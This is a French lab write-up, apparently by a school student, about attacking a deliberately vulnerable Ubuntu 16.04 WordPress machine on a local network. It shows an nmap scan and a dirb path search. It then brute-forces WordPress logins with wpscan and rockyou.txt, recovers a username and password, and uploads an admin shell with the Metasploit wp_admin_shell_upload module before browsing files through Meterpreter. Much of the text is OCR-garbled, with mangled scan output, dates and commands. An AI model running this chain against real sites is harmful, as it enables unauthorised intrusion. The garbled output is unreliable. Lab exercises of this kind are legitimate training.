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IP de la machine : 192.168.0.28

A- Scanner la machine avec nmap :

Nmap —sS 192.168.0.28

Exploitation du port 80 http
192.168.0.28
Etaleng Mmap 7.92 ( h’r_‘r_;:v"fr ap.org ) at 2024-@2-1! 100 CET
Nmap scan report for 192.168.
t is up (9.011s litenLy,.
Nat shown: 993 closed tcp ports
STATE SERVICE

open ssh
open domain

open http
open pop3
open netbios-ssn
open imap
open microsoft-ds
MAC Address: CC:47:40:BD:E2:86 (Unknown)

Nmap done: 1 IP address (1 host up) scanned inm ©.28 seconds

B- Recherche de chemins exploitable avec Dirb :

Dirb http://192.168.0.28
 http://192.168.0.28

DIRE v2.22
By The Dark Ra

START_TIME:
URL_BASE: http

WORDLIST_FILES: fusr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

ning URL: http: 2. 168,028 ——=
ing: http://192. p.28/caller



http://192.168.0.28/

C- Recherche d’identifiant avec Wpscan :
Wopscan —url http://192.168.0.28/wordpress --passwords /usr/share/wordlists/rockyou.txt

Aprés obtention des identifiants on a :

c@rrupt3d_brain
Found By: Author Id Brute Forcing - AuThD{ attern (Aggressive Detection)
Confirmed By: Login Error ' i ion)

Valid Combinations Found:
rname: c@rrupt3d_brain,

D- Utilisation de Metasploit :
Search wp_admin_shell_upload
Use Search wp_admin_shell_upload
Renseigner les différents parametres comme le montre I'image ci-dessous :

Exploit target:
Id Name
4] WordPres
> set username c@rrupt3d_brain

» set password 24992499

turi = /wordpress

l”' 168.0.28

olt(



http://192.168.0.28/wordpress%20--passwords%20/usr/share/wordlists/rockyou.txt

E- Utilisation de Meterpreter :
Pour afficher la totalité des fichiers il faut utiliser la commande suivante :
Ls-a~/
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16:37:41 +@100
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4096 ir  2024-02-08 09:26:00 +8108
1060 ir 4 it S
12288 ir 2019-10-38 17: +0100
4096 ir  2817-04-29 10:38:54 +0200
4096 ir 2019-- ShiseicE iiibE
@ ir  2024-02-14 1€ i
4096 ir  2824-02-14 10:45:01 +0100
4096 ir  2019-10-30 16:3 e
4096 ir 2R19-1 52146 +0100




	Widget: Lycée Saint sauveur
	_2: Machine UBUNTU Server version 16.04.3 LTS VULNERABLE


